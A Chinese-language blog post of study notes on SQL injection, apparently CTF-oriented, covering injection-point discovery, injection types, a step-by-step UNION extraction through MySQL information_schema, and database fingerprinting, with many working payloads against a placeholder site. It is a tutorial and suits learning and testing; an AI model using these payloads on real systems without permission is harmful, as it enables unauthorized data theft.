SQL注入

一、SQL注入简介

  SQL注入(SQL Injection),通过构建SQL代码相关的特殊输入,作为参数传递到服务器,服务器解析并执行SQL语句进而达到攻击者所要的操作。如:通过提交一段数据库查询代码,根据程序返回的结果,获得某些攻击者想得知的数据;或通过控制部分SQL语句,攻击者可以利用数据库的一些特性,直接获取数据库服务器的系统权限。

  发生SQL注入的主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

 

二、SQL基本注入与绕过

  1、寻找SQL可能注入点

    找注入点是最关键,也最基础的一个环节。

    本质原理是:找一个需要后台处理后,提交给数据库的点,所有的输入只要和数据库进行交互的,都有可能触发SQL注入。

  一般为三大类:

    (1)Get  参数触发  SQL注入 
    (2)POST  参数触发  SQL注入 
    (3)Cookie 触发     SQL注入

    在各个网页链接中找到参数,即链接?参数=***。如www.1234.com/index.php?id=num,
    验证是否存在注入点的方法有很多种,下面先介绍最常规最简单的方法,引入单引号判断是否存在注入点:

1 http://www.1234.com/index.php?id=1’         返回错误,可能注入
2 http://www.1234.com/index.php?id=1 and 1=1  返回正常
3 http://www.1234.com/index.php?id=1 and 1=2  返回错误 

  若满足以上三点,那么存在SQL注入的可能性就非常高

 那.......为什么呢?从SQL的语句进行分析,我们可以先猜测查询语句如下:

Select * from SQLtable where id=$id  ($id由网页通过GET或POST方法传入)

  在 1 后面加上 and 1=1 ,则查询条件变为 “ where id = 1 and 1=1 ”, 这里 and 1=1 是恒为True,and是要求左右条件同时满足情况才为True。当语句变为 and 1=2 时,where 后的语句结果则变为False,返回的值当然是失败。能够实现这个测试,则我们的猜测可能是正确的。这个句型却可以用到SQL的联合查询之类的方法,获取数据库中的关键信息。

  2、判断SQL注入的类型

    (1)数字型注入

      测试 -> www.1234.com/index.php?id=1 and 1=1 返回成功

         -> www.1234.com/index.php?id=1 and 1=2 返回失败

后台可能语句:  Select * from SQLtable where id=$id 
注入执行语句:  Select * from SQLtable where id=1 and 1=1

    (2)字符型注入

      测试 -> www.1234.com/index.php?id=1' and '1'='1 返回成功

         -> www.1234.com/index.php?id=1' and '1'='2 返回失败

后台可能语句:  Select * from SQLtable where id='$id'
注入执行语句:  Select * from SQLtable where id='1' and '1'='1' 

    (3)搜索型注入

      测试 -> www.1234.com/index.php?id=1%' and 1=1 and '%'=' 返回成功

         -> www.1234.com/index.php?id=1%' and 1=2 and '%'=' 返回失败

后台可能语句:  Select * from SQLtable where id like '% $id %'
注入执行语句:  Select * from SQLtable where id like '%1%' and 1=1 and '%'='%'

    (4)内联式注入

      测试 -> www.1234.com/index.php?user=user &pass=' or ''=' 返回成功

         -> www.1234.com/index.php?user=' or ''=' &pass=pass 返回失败

后台可能语句:  Select * from SQLtable where user='$user' and pass='$pass'
注入执行语句:  Select * from SQLtable where user='user' and pass='' or ''=''

    (5)终止式注入

        测试 -> www.1234.com/index.php?user=' or ''='' --&pass=1 返回成功

后台可能语句:  Select * from SQLtable where user='$user' and pass='$pass'
注入执行语句:  Select * from SQLtable where user='' or ''='' --and pass='pass'
      终止字符串:-- , #, %23, %00, /*, //
      终止方法:-- , ‘-- , ‘)-- , ) -- , ‘)) --, ))--

    (6)另外几种

 

1 Boolean-based blind SQL injection   (布尔型注入)
2 Error-based SQL injection        (报错型注入)
3 UNION query SQL injection        (可联合查询注入)
4 Stacked queries SQL injection     (可多语句查询注入)
5 Time-based blind SQL injection    (基于时间延迟注入)

 

  3、操作SQL注入的过程

    假设我们测试到网站存在字符型注入 => www.1234.com/index.php?id=1' and '1'='2

    这里以MySQL 5.0以上版本的注入为例:

    (1)判断列数:

id=1' order by 'number1 ,显示正常
id=1' order by 'number2 ,报错,确定为number2列。

    (2)union联合查询判断错误字段:

id=1'union select '***','***','***    页面哪个位置回显'***',表示该位置可控

    (3)获取当前数据库名:

id=1' union select '***',database(),'***    假设第2个位置可控,查询到的为Now库

    (4)获取数据库名:

id=1' union select '***',schema_name,'***' from information_schema.schemata where '1'='1
假设查询到'information_schema','Now','Flag'

    (5)获取信息的表名:

id=1' union select '***',table_name,'***' from information_schema.tables where table_schema='Flag
假设爆出的表名'what','Flagtable','what2'

    (6)获取信息的字段名:

id=1' union select '***',column_name,'***' from information_schema.columns where table_name='Flagtable
假设爆出的字段名为'Flagcolumn','What','What2

    (7)获取信息:

id=1' union select '***',Flagcolumn,'***' from Flag.Flagtable

  Tips:如果显示的字段可控的位置只有一个,可以使用 limit  x(要查看的第x个字段),y(要显示x到y以内的字段)

      或使用 group_concat(查询的字段名)

 

limit 子句可以被用于强制 select 语句返回指定的记录数。limit 接受一个或两个数字参数。参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。第一个参数是从0开始的...   
例如:select flag from table limit 5,10;    // 检索记录行 6-15
     
select group_concat(flag) from table; // 检索全部记录行

 

  4、判断SQL类型

    (1)判断数据库类型的常用方法:

      ① 通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型    

      ② 通过各个数据库特有的数据表来判断:

  Mysql数据库(mysql版本在5.0以上)
http://www.1234.com/index.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
  Mssql数据库
http://www.1234.com/index.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
  Access数据库
http://www.1234.com/index.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
  Oracle数据库
http://www.1234.com/index.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

      ③ 通过各数据库特有的连接符判断数据库类型:

  Mssql数据库
http:/www.1234.com/index.php?id=1 and '1' + '1' = '11'
  Mysql数据库 http://www.1234.com/index.php?id=1 and '1' + '1' = '11' http://www.1234.com/index.php?id=1 and CONCAT('1','1')='11'

  Oracle数据库 http://www.1234.com/index.php?id=1 and '1'||'1'='11' http://www.1234.com/index.php?id=1 and CONCAT('1','1')='11'

 

等待笔记。。

posted @ 2018-12-19 19:04  MoonTwilight  阅读(282)  评论(0编辑  收藏  举报